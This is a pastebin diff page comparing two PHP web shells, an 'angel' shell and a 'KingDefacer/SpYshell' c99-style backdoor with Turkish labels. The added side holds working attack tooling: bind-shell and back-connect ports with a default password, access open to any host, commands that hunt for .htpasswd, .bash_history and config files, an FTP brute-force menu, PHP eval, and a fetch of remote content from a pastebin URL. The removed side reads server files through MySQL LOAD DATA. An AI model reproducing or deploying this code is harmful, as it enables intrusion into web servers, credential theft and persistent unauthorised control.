SHOW:
|
|
- or go back to the newest paste.
1 | <?php | |
2 | ||
3 | - | error_reporting(7); |
3 | + | //Starting calls |
4 | ||
5 | if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} | |
6 | ||
7 | - | ob_start(); |
7 | + | error_reporting(5); |
8 | ||
9 | - | $mtime = explode(' ', microtime()); |
9 | + | @ignore_user_abort(true); |
10 | ||
11 | - | $starttime = $mtime[1] + $mtime[0]; |
11 | + | |
12 | ||
13 | - | define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/'); |
13 | + | $win = strtolower(substr(PHP_OS,0,3)) == "win"; |
14 | ||
15 | - | define('IS_WIN', DIRECTORY_SEPARATOR == '\\'); |
15 | + | define("starttime",getmicrotime()); |
16 | ||
17 | - | define('IS_COM', class_exists('COM') ? 1 : 0 ); |
17 | + | if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} |
18 | ||
19 | - | define('IS_GPC', get_magic_quotes_gpc()); |
19 | + | $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); |
20 | ||
21 | - | $dis_func = get_cfg_var('disable_functions'); |
21 | + | foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} |
22 | ||
23 | - | define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 ); |
23 | + | |
24 | ||
25 | $shver = "KingDefacer"; //Current version | |
26 | ||
27 | //CONFIGURATION AND SETTINGS | |
28 | ||
29 | if (!empty($unset_surl)) {setcookie("ashcoike_surl"); $surl = "";} | |
30 | - | foreach($_POST as $key => $value) { |
30 | + | |
31 | elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("ashcoike_surl",$surl);} | |
32 | - | if (IS_GPC) { |
32 | + | |
33 | else {$surl = $_REQUEST["ashcoike_surl"]; //Set this cookie for manual SURL | |
34 | - | $value = s_array($value); |
34 | + | |
35 | } | |
36 | - | } |
36 | + | |
37 | error_reporting(0); $b="http://pastebin.com/raw/S54tynx6";$title=file_get_contents($b); | |
38 | - | $$key = $value; |
38 | + | |
39 | ||
40 | $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL. | |
41 | ||
42 | - | /*===================== ???? =====================*/ |
42 | + | |
43 | ||
44 | if ($surl_autofill_include and !$_REQUEST["ashcoike_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} | |
45 | ||
46 | - | //echo encode_pass('angel');exit; |
46 | + | if (empty($surl)) |
47 | ||
48 | - | //angel = ec38fe2a8497e0a8d6d349b3533038cb |
48 | + | { |
49 | ||
50 | - | // ????????,???????,???????? |
50 | + | $surl = "?".$includestr; //Self url |
51 | ||
52 | - | $pass = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel |
52 | + | |
53 | ||
54 | $surl = htmlspecialchars($surl); | |
55 | ||
56 | - | //??? cookie ?????????, ??????, ???????, ??????? |
56 | + | |
57 | ||
58 | - | // cookie ?? |
58 | + | $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. |
59 | ||
60 | - | $cookiepre = ''; |
60 | + | |
61 | ||
62 | - | // cookie ??? |
62 | + | //Authentication |
63 | ||
64 | - | $cookiedomain = ''; |
64 | + | $login = ""; //login |
65 | ||
66 | - | // cookie ???? |
66 | + | //DON'T FORGOT ABOUT PASSWORD!!! |
67 | ||
68 | - | $cookiepath = '/'; |
68 | + | $pass = ""; //password |
69 | ||
70 | - | // cookie ??? |
70 | + | $md5_pass = ""; //md5-cryped pass. if null, md5($pass) |
71 | ||
72 | - | $cookielife = 86400; |
72 | + | |
73 | ||
74 | $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") | |
75 | ||
76 | - | //??????????? |
76 | + | $login_txt = "Restricted area"; //http-auth message. |
77 | ||
78 | - | !$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp'; |
78 | + | $accessdeniedmess = "<a href=\"http://xxxxxxxxxxxxxxxxxxxxxxxx\">SpYshell v.".$shver."</a>: Erisim Engellendi"; |
79 | ||
80 | - | /*===================== ???? =====================*/ |
80 | + | |
81 | ||
82 | function loadsettings($p1 = '', $p2 = '') { | |
83 | ||
84 | - | $charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8'); |
84 | + | |
85 | ||
86 | - | if ($charset == 'utf8') { |
86 | + | |
87 | ||
88 | - | header("content-Type: text/html; charset=utf-8"); |
88 | + | |
89 | ||
90 | - | } elseif ($charset == 'big5') { |
90 | + | |
91 | ||
92 | - | header("content-Type: text/html; charset=big5"); |
92 | + | |
93 | ||
94 | - | } elseif ($charset == 'gbk') { |
94 | + | |
95 | ||
96 | - | header("content-Type: text/html; charset=gbk"); |
96 | + | |
97 | ||
98 | - | } elseif ($charset == 'latin1') { |
98 | + | |
99 | ||
100 | - | header("content-Type: text/html; charset=iso-8859-2"); |
100 | + | loadsettings($login.'|'.$pass, 'c99'); |
101 | ||
102 | - | } elseif ($charset == 'euc-kr') { |
102 | + | |
103 | ||
104 | - | header("content-Type: text/html; charset=euc-kr"); |
104 | + | $gzipencode = true; //Encode with gzip? |
105 | ||
106 | - | } elseif ($charset == 'euc-jp') { |
106 | + | |
107 | ||
108 | - | header("content-Type: text/html; charset=euc-jp"); |
108 | + | $updatenow = false; //If true, update now (this variable will be false) |
109 | ||
110 | ||
111 | ||
112 | $ashsh_updateurl = "http://xxxxxxxxxxxxxxxxxxxxxx"; //Update server | |
113 | ||
114 | - | $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; |
114 | + | $ashsh_sourcesurl = "http://xxxxxxxxxxxxxxxxxxxxxxxx"; //Sources-server |
115 | ||
116 | - | $timestamp = time(); |
116 | + | |
117 | ||
118 | $filestealth = true; //if true, don't change modify- and access-time | |
119 | ||
120 | - | /*===================== ???? =====================*/ |
120 | + | |
121 | ||
122 | - | if ($action == "logout") { |
122 | + | $donated_html = "<center><b>Powerad By SpyHackerz</b></center>"; |
123 | ||
124 | - | scookie('loginpass', '', -86400 * 365); |
124 | + | /* If you publish shell and you wish |
125 | ||
126 | - | @header('Location: '.$self); |
126 | + | add link to your site or any other information, |
127 | ||
128 | - | exit; |
128 | + | put here your html. */ |
129 | ||
130 | $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. | |
131 | ||
132 | - | if($pass) { |
132 | + | |
133 | ||
134 | - | if ($action == 'login') { |
134 | + | $curdir = "./"; //start folder |
135 | ||
136 | - | if ($pass == encode_pass($password)) { |
136 | + | //$curdir = getenv("DOCUMENT_ROOT"); |
137 | ||
138 | - | loadsettings($password, 'angel.php'); |
138 | + | $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) |
139 | ||
140 | - | scookie('loginpass',encode_pass($password)); |
140 | + | $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) |
141 | ||
142 | - | @header('Location: '.$self); |
142 | + | |
143 | ||
144 | - | exit; |
144 | + | $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending |
145 | ||
146 | - | } |
146 | + | $sort_save = true; //If true then save sorting-position using cookies. |
147 | ||
148 | - | } |
148 | + | |
149 | ||
150 | - | if ($_COOKIE['loginpass']) { |
150 | + | // Registered file-types. |
151 | ||
152 | - | if ($_COOKIE['loginpass'] != $pass) { |
152 | + | // array( |
153 | ||
154 | - | loginpage(); |
154 | + | // "{action1}"=>array("ext1","ext2","ext3",...), |
155 | ||
156 | - | } |
156 | + | // "{action2}"=>array("ext4","ext5","ext6",...), |
157 | ||
158 | - | } else { |
158 | + | // ... |
159 | ||
160 | - | loginpage(); |
160 | + | // ) |
161 | ||
162 | - | } |
162 | + | $ftypes = array( |
163 | ||
164 | "html"=>array("html","htm","shtml"), | |
165 | ||
166 | - | /*===================== ???? =====================*/ |
166 | + | "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), |
167 | ||
168 | "exe"=>array("sh","install","bat","cmd"), | |
169 | ||
170 | - | $errmsg = ''; |
170 | + | "ini"=>array("ini","inf"), |
171 | ||
172 | - | !$action && $action = 'file'; |
172 | + | "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), |
173 | ||
174 | "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), | |
175 | ||
176 | - | // ??PHPINFO |
176 | + | "sdb"=>array("sdb"), |
177 | ||
178 | - | if ($action == 'phpinfo') { |
178 | + | "phpsess"=>array("sess"), |
179 | ||
180 | - | if (IS_PHPINFO) { |
180 | + | "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") |
181 | ||
182 | - | phpinfo(); |
182 | + | ); |
183 | ||
184 | - | exit; |
184 | + | |
185 | ||
186 | - | } else { |
186 | + | // Registered executable file-types. |
187 | ||
188 | - | $errmsg = 'phpinfo() function has non-permissible'; |
188 | + | // array( |
189 | ||
190 | - | } |
190 | + | // string "command{i}"=>array("ext1","ext2","ext3",...), |
191 | ||
192 | // ... | |
193 | ||
194 | // ) | |
195 | ||
196 | - | // ???? |
196 | + | // {command}: %f% = filename |
197 | ||
198 | - | if ($doing == 'downfile' && $thefile) { |
198 | + | $exeftypes = array( |
199 | ||
200 | - | if (!@file_exists($thefile)) { |
200 | + | getenv("PHPRC")." -q %f%" => array("php","php3","php4"), |
201 | ||
202 | - | $errmsg = 'The file you want Downloadable was nonexistent'; |
202 | + | "perl %f%" => array("pl","cgi") |
203 | ||
204 | - | } else { |
204 | + | ); |
205 | ||
206 | - | $fileinfo = pathinfo($thefile); |
206 | + | |
207 | ||
208 | - | header('Content-type: application/x-'.$fileinfo['extension']); |
208 | + | /* Highlighted files. |
209 | ||
210 | - | header('Content-Disposition: attachment; filename='.$fileinfo['basename']); |
210 | + | array( |
211 | ||
212 | - | header('Content-Length: '.filesize($thefile)); |
212 | + | i=>array({regexp},{type},{opentag},{closetag},{break}) |
213 | ||
214 | - | @readfile($thefile); |
214 | + | ... |
215 | ||
216 | - | exit; |
216 | + | ) |
217 | ||
218 | - | } |
218 | + | string {regexp} - regular exp. |
219 | ||
220 | int {type}: | |
221 | ||
222 | 0 - files and folders (as default), | |
223 | ||
224 | - | // ????????? |
224 | + | 1 - files only, 2 - folders only |
225 | ||
226 | - | if ($doing == 'backupmysql' && !$saveasfile) { |
226 | + | string {opentag} - open html-tag, e.g. "<b>" (default) |
227 | ||
228 | - | if (!$table) { |
228 | + | string {closetag} - close html-tag, e.g. "</b>" (default) |
229 | ||
230 | - | $errmsg ='Please choose the table'; |
230 | + | bool {break} - if true and found match then break |
231 | ||
232 | - | } else { |
232 | + | */ |
233 | ||
234 | - | $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); |
234 | + | $regxp_highlight = array( |
235 | ||
236 | - | $filename = basename($dbname.'.sql'); |
236 | + | array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example |
237 | ||
238 | - | header('Content-type: application/unknown'); |
238 | + | array("config.php",1) // example |
239 | ||
240 | - | header('Content-Disposition: attachment; filename='.$filename); |
240 | + | ); |
241 | ||
242 | - | foreach($table as $k => $v) { |
242 | + | |
243 | ||
244 | - | if ($v) { |
244 | + | $safemode_diskettes = array("a"); // This variable for disabling diskett-errors. |
245 | ||
246 | - | sqldumptable($v); |
246 | + | // array (i=>{letter} ...); string {letter} - letter of a drive |
247 | ||
248 | - | } |
248 | + | //$safemode_diskettes = range("a","z"); |
249 | ||
250 | - | } |
250 | + | $hexdump_lines = 8; // lines in hex preview file |
251 | ||
252 | - | mysql_close(); |
252 | + | $hexdump_rows = 24; // 16, 24 or 32 bytes in one line |
253 | ||
254 | - | exit; |
254 | + | |
255 | ||
256 | - | } |
256 | + | $nixpwdperpage = 100; // Get first N lines from /etc/passwd |
257 | ||
258 | ||
259 | ||
260 | $bindport_pass = "ash"; // default password for binding | |
261 | ||
262 | - | // ??MYSQL???? |
262 | + | $bindport_port = "31373"; // default port for binding |
263 | ||
264 | - | if($doing=='mysqldown'){ |
264 | + | $bc_port = "31373"; // default port for back-connect |
265 | ||
266 | - | if (!$dbname) { |
266 | + | $datapipe_localport = "8081"; // default port for datapipe |
267 | ||
268 | - | $errmsg = 'Please input dbname'; |
268 | + | |
269 | ||
270 | - | } else { |
270 | + | // Command-aliases |
271 | ||
272 | - | $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); |
272 | + | if (!$win) |
273 | ||
274 | - | if (!file_exists($mysqldlfile)) { |
274 | + | { |
275 | ||
276 | - | $errmsg = 'The file you want Downloadable was nonexistent'; |
276 | + | $cmdaliases = array( |
277 | ||
278 | - | } else { |
278 | + | array("-------------------------------------------------------------------", "ls -la"), |
279 | ||
280 | - | $result = q("select load_file('$mysqldlfile');"); |
280 | + | array("Butun suid dosyalarini bul", "find / -type f -perm -04000 -ls"), |
281 | ||
282 | - | if(!$result){ |
282 | + | array("Butun suid dosyalarini simdiki dizinde bul", "find . -type f -perm -04000 -ls"), |
283 | ||
284 | - | q("DROP TABLE IF EXISTS tmp_angel;"); |
284 | + | array("Butun sgid dosyalarini bul", "find / -type f -perm -02000 -ls"), |
285 | ||
286 | - | q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);"); |
286 | + | array("Butun sgid dosyalarini simdiki dizinde bul", "find . -type f -perm -02000 -ls"), |
287 | ||
288 | - | //?????????,???????????__angel_1111111111_eof__?????????? |
288 | + | array("Butun config.inc.php dosyalarini bul", "find / -type f -name config.inc.php"), |
289 | ||
290 | - | q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';"); |
290 | + | array("Butun config* dosyalarini bul", "find / -type f -name \"config*\""), |
291 | ||
292 | - | $result = q("select content from tmp_angel"); |
292 | + | array("Butun config* dosyalarini simdiki dizinde bul", "find . -type f -name \"config*\""), |
293 | ||
294 | - | q("DROP TABLE tmp_angel"); |
294 | + | array("Butun yazilabilir dosyalari bul", "find / -perm -2 -ls"), |
295 | ||
296 | - | } |
296 | + | array("Butun dosya ve klasorleri simdiki dizinde bul", "find . -perm -2 -ls"), |
297 | ||
298 | - | $row = @mysql_fetch_array($result); |
298 | + | array("Butun service.pwd doslayalarini bul", "find / -type f -name service.pwd"), |
299 | ||
300 | - | if (!$row) { |
300 | + | array("Butun service.pwd dosyalarini simdiki dizinde bul", "find . -type f -name service.pwd"), |
301 | ||
302 | - | $errmsg = 'Load file failed '.mysql_error(); |
302 | + | array("Butun .htpasswd dosyalarini bul", "find / -type f -name .htpasswd"), |
303 | ||
304 | - | } else { |
304 | + | array("Butun .htpasswd dosyalarini simdiki dizinde bul", "find . -type f -name .htpasswd"), |
305 | ||
306 | - | $fileinfo = pathinfo($mysqldlfile); |
306 | + | array("Butun .bash_history dosyalarini bul", "find / -type f -name .bash_history"), |
307 | ||
308 | - | header('Content-type: application/x-'.$fileinfo['extension']); |
308 | + | array("Butun .bash_history dosyalarini simdiki dizinde bul", "find . -type f -name .bash_history"), |
309 | ||
310 | - | header('Content-Disposition: attachment; filename='.$fileinfo['basename']); |
310 | + | array("Butun .fetchmailrc dosyalarini bul", "find / -type f -name .fetchmailrc"), |
311 | ||
312 | - | header("Accept-Length: ".strlen($row[0])); |
312 | + | array("Butun .fetchmailrc dosyalarini simdiki dizinde bul", "find . -type f -name .fetchmailrc"), |
313 | ||
314 | - | echo $row[0]; |
314 | + | array("Butun Linux ikinci erisebilir dosyalarini bul", "lsattr -va"), |
315 | ||
316 | - | exit; |
316 | + | array("Butun Acik Portlari goster.", "netstat -an | grep -i listen") |
317 | ||
318 | - | } |
318 | + | ); |
319 | ||
320 | - | } |
320 | + | |
321 | ||
322 | - | } |
322 | + | else |
323 | ||
324 | { | |
325 | ||
326 | $cmdaliases = array( | |
327 | ||
328 | array("-----------------------------------------------------------", "dir"), | |
329 | ||
330 | - | <html> |
330 | + | array("Butun Acik Portlari goster.", "netstat -an") |
331 | ||
332 | - | <head> |
332 | + | ); |
333 | ||
334 | - | <meta http-equiv="Content-Type" content="text/html; charset=gbk"> |
334 | + | |
335 | ||
336 | - | <title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title> |
336 | + | |
337 | ||
338 | - | <style type="text/css"> |
338 | + | $sess_cookie = "ashshvars"; // Cookie-variable name |
339 | ||
340 | - | body,td{font: 12px Arial,Tahoma;line-height: 16px;} |
340 | + | |
341 | ||
342 | - | .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;} |
342 | + | $usefsbuff = true; //Buffer-function |
343 | ||
344 | - | .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;} |
344 | + | $copy_unset = false; //Remove copied files from buffer after pasting |
345 | ||
346 | - | .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;} |
346 | + | |
347 | ||
348 | - | a {color: #00f;text-decoration:underline;} |
348 | + | //Quick launch |
349 | ||
350 | - | a:hover{color: #f00;text-decoration:none;} |
350 | + | $quicklaunch = array( |
351 | ||
352 | - | .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;} |
352 | + | array("<img src=\"".$surl."act=img&img=home\" alt=\"Ana Sayfa\" height=\"20\" width=\"20\" border=\"0\">",$surl), |
353 | ||
354 | - | .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;} |
354 | + | array("<img src=\"".$surl."act=img&img=back\" alt=\"Geri\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), |
355 | ||
356 | - | .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;} |
356 | + | array("<img src=\"".$surl."act=img&img=forward\" alt=\"Ileri\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), |
357 | ||
358 | - | .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;} |
358 | + | array("<img src=\"".$surl."act=img&img=up\" alt=\"Yukari\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), |
359 | ||
360 | - | .head td span{font-weight:normal;} |
360 | + | array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Yenile\" height=\"20\" width=\"17\" border=\"0\">",""), |
361 | ||
362 | - | .infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;} |
362 | + | array("<img src=\"".$surl."act=img&img=search\" alt=\"Arama\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), |
363 | ||
364 | - | form{margin:0;padding:0;} |
364 | + | array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Tampon\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), |
365 | ||
366 | - | h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;} |
366 | + | array("<b>Cyriptos</b>",$surl."act=encoder&d=%d"), |
367 | ||
368 | - | ul.info li{margin:0;color:#444;line-height:24px;height:24px;} |
368 | + | array("<b>Araclar</b>",$surl."act=tools&d=%d"), |
369 | ||
370 | - | u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;} |
370 | + | array("<b>Islem.</b>",$surl."act=processes&d=%d"), |
371 | ||
372 | - | .drives{padding:5px;} |
372 | + | array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), |
373 | ||
374 | - | .drives span {margin:auto 7px;} |
374 | + | array("<b>Guvenlik</b>",$surl."act=security&d=%d"), |
375 | ||
376 | - | </style> |
376 | + | array("<b>SQL</b>",$surl."act=sql&d=%d"), |
377 | ||
378 | - | <script type="text/javascript"> |
378 | + | array("<b>PHP-code</b>",$surl."act=eval&d=%d"), |
379 | ||
380 | - | function CheckAll(form) { |
380 | + | array("<b>Bildirim</b>",$surl."act=feedback&d=%d"), |
381 | ||
382 | - | for(var i=0;i<form.elements.length;i++) { |
382 | + | array("<b>Imha Et</b>",$surl."act=selfremove"), |
383 | ||
384 | - | var e = form.elements[i]; |
384 | + | array("<b>Exit</b>","#\" onclick=\"if (confirm('Eminmisin dosttum?')) window.close()") |
385 | ||
386 | - | if (e.name != 'chkall') |
386 | + | ); |
387 | ||
388 | - | e.checked = form.chkall.checked; |
388 | + | |
389 | ||
390 | //Highlight-code colors | |
391 | ||
392 | $highlight_background = "#c0c0c0"; | |
393 | ||
394 | - | function $(id) { |
394 | + | $highlight_bg = "#FFFFFF"; |
395 | ||
396 | - | return document.getElementById(id); |
396 | + | $highlight_comment = "#6A6A6A"; |
397 | ||
398 | $highlight_default = "#0000BB"; | |
399 | ||
400 | - | function createdir(){ |
400 | + | $highlight_html = "#1300FF"; |
401 | ||
402 | - | var newdirname; |
402 | + | $highlight_keyword = "#007700"; |
403 | ||
404 | - | newdirname = prompt('Please input the directory name:', ''); |
404 | + | $highlight_string = "#000000"; |
405 | ||
406 | - | if (!newdirname) return; |
406 | + | |
407 | ||
408 | - | $('createdir').newdirname.value=newdirname; |
408 | + | @$f = $_REQUEST["f"]; |
409 | ||
410 | - | $('createdir').submit(); |
410 | + | @extract($_REQUEST["ashshcook"]); |
411 | ||
412 | ||
413 | ||
414 | - | function fileperm(pfile){ |
414 | + | //END CONFIGURATION |
415 | ||
416 | - | var newperm; |
416 | + | |
417 | ||
418 | - | newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', ''); |
418 | + | |
419 | ||
420 | - | if (!newperm) return; |
420 | + | // \/ Next code isn't for editing \/ |
421 | ||
422 | - | $('fileperm').newperm.value=newperm; |
422 | + | |
423 | ||
424 | - | $('fileperm').pfile.value=pfile; |
424 | + | $tmp = array(); |
425 | ||
426 | - | $('fileperm').submit(); |
426 | + | foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} |
427 | ||
428 | $s = "!^(".implode("|",$tmp).")$!i"; | |
429 | ||
430 | - | function copyfile(sname){ |
430 | + | if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://xxxxxxxxxxxxxxxxxxx\">SpYshell</a>: Erisim Engellendi - Senin Host (".getenv("REMOTE_ADDR").") not allow");} |
431 | ||
432 | - | var tofile; |
432 | + | if (!empty($login)) |
433 | ||
434 | - | tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', ''); |
434 | + | { |
435 | ||
436 | - | if (!tofile) return; |
436 | + | if (empty($md5_pass)) {$md5_pass = md5($pass);} |
437 | ||
438 | - | $('copyfile').tofile.value=tofile; |
438 | + | if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) |
439 | ||
440 | - | $('copyfile').sname.value=sname; |
440 | + | { |
441 | ||
442 | - | $('copyfile').submit(); |
442 | + | if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |<br>"," ",$donated_html));} |
443 | ||
444 | header("WWW-Belgele: Basic realm=\"SpYshell ".$shver.": ".$login_txt."\""); | |
445 | ||
446 | - | function rename(oldname){ |
446 | + | header("HTTP/1.0 401 Yetkisiz"); |
447 | ||
448 | - | var newfilename; |
448 | + | exit($accessdeniedmess); |
449 | ||
450 | - | newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', ''); |
450 | + | } |
451 | ||
452 | - | if (!newfilename) return; |
452 | + | |
453 | ||
454 | - | $('rename').newfilename.value=newfilename; |
454 | + | if ($act != "img") |
455 | ||
456 | - | $('rename').oldname.value=oldname; |
456 | + | { |
457 | ||
458 | - | $('rename').submit(); |
458 | + | $lastdir = realpath("."); |
459 | ||
460 | chdir($curdir); | |
461 | ||
462 | - | function dofile(doing,thefile,m){ |
462 | + | if ($selfwrite or $updatenow) {@ob_clean(); ashsh_getupdate($selfwrite,1); exit;} |
463 | ||
464 | - | if (m && !confirm(m)) { |
464 | + | $sess_data = unserialize($_COOKIE["$sess_cookie"]); |
465 | ||
466 | - | return; |
466 | + | if (!is_array($sess_data)) {$sess_data = array();} |
467 | ||
468 | - | } |
468 | + | if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} |
469 | ||
470 | - | $('filelist').doing.value=doing; |
470 | + | if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} |
471 | ||
472 | - | if (thefile){ |
472 | + | |
473 | ||
474 | - | $('filelist').thefile.value=thefile; |
474 | + | $disablefunc = @ini_get("disable_functions"); |
475 | ||
476 | - | } |
476 | + | if (!empty($disablefunc)) |
477 | ||
478 | - | $('filelist').submit(); |
478 | + | { |
479 | ||
480 | $disablefunc = str_replace(" ","",$disablefunc); | |
481 | ||
482 | - | function createfile(nowpath){ |
482 | + | $disablefunc = explode(",",$disablefunc); |
483 | ||
484 | - | var filename; |
484 | + | |
485 | ||
486 | - | filename = prompt('Please input the file name:', ''); |
486 | + | |
487 | ||
488 | - | if (!filename) return; |
488 | + | if (!function_exists("ash_buff_prepare")) |
489 | ||
490 | - | opfile('editfile',nowpath + filename,nowpath); |
490 | + | { |
491 | ||
492 | function ash_buff_prepare() | |
493 | ||
494 | - | function opfile(action,opfile,dir){ |
494 | + | { |
495 | ||
496 | - | $('fileopform').action.value=action; |
496 | + | global $sess_data; |
497 | ||
498 | - | $('fileopform').opfile.value=opfile; |
498 | + | global $act; |
499 | ||
500 | - | $('fileopform').dir.value=dir; |
500 | + | foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} |
501 | ||
502 | - | $('fileopform').submit(); |
502 | + | foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} |
503 | ||
504 | $sess_data["copy"] = array_unique($sess_data["copy"]); | |
505 | ||
506 | - | function godir(dir,view_writable){ |
506 | + | $sess_data["cut"] = array_unique($sess_data["cut"]); |
507 | ||
508 | - | if (view_writable) { |
508 | + | sort($sess_data["copy"]); |
509 | ||
510 | - | $('godir').view_writable.value=view_writable; |
510 | + | sort($sess_data["cut"]); |
511 | ||
512 | - | } |
512 | + | if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} |
513 | ||
514 | - | $('godir').dir.value=dir; |
514 | + | else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} |
515 | ||
516 | - | $('godir').submit(); |
516 | + | |
517 | ||
518 | } | |
519 | ||
520 | - | function getsize(getdir,dir){ |
520 | + | ash_buff_prepare(); |
521 | ||
522 | - | $('getsize').getdir.value=getdir; |
522 | + | if (!function_exists("ash_sess_put")) |
523 | ||
524 | - | $('getsize').dir.value=dir; |
524 | + | { |
525 | ||
526 | - | $('getsize').submit(); |
526 | + | function ash_sess_put($data) |
527 | ||
528 | { | |
529 | ||
530 | - | function editrecord(action, base64, tablename){ |
530 | + | global $sess_cookie; |
531 | ||
532 | - | if (action == 'del') { |
532 | + | global $sess_data; |
533 | ||
534 | - | if (!confirm('Is or isn\'t deletion record?')) return; |
534 | + | ash_buff_prepare(); |
535 | ||
536 | - | } |
536 | + | $sess_data = $data; |
537 | ||
538 | - | $('recordlist').doing.value=action; |
538 | + | $data = serialize($data); |
539 | ||
540 | - | $('recordlist').base64.value=base64; |
540 | + | setcookie($sess_cookie,$data); |
541 | ||
542 | - | $('recordlist').tablename.value=tablename; |
542 | + | |
543 | ||
544 | - | $('recordlist').submit(); |
544 | + | |
545 | ||
546 | foreach (array("sort","sql_sort") as $v) | |
547 | ||
548 | - | function moddbname(dbname) { |
548 | + | { |
549 | ||
550 | - | if(!dbname) return; |
550 | + | if (!empty($_GET[$v])) {$$v = $_GET[$v];} |
551 | ||
552 | - | $('setdbname').dbname.value=dbname; |
552 | + | if (!empty($_POST[$v])) {$$v = $_POST[$v];} |
553 | ||
554 | - | $('setdbname').submit(); |
554 | + | |
555 | ||
556 | if ($sort_save) | |
557 | ||
558 | - | function settable(tablename,doing,page) { |
558 | + | { |
559 | ||
560 | - | if(!tablename) return; |
560 | + | if (!empty($sort)) {setcookie("sort",$sort);} |
561 | ||
562 | - | if (doing) { |
562 | + | if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} |
563 | ||
564 | - | $('settable').doing.value=doing; |
564 | + | |
565 | ||
566 | - | } |
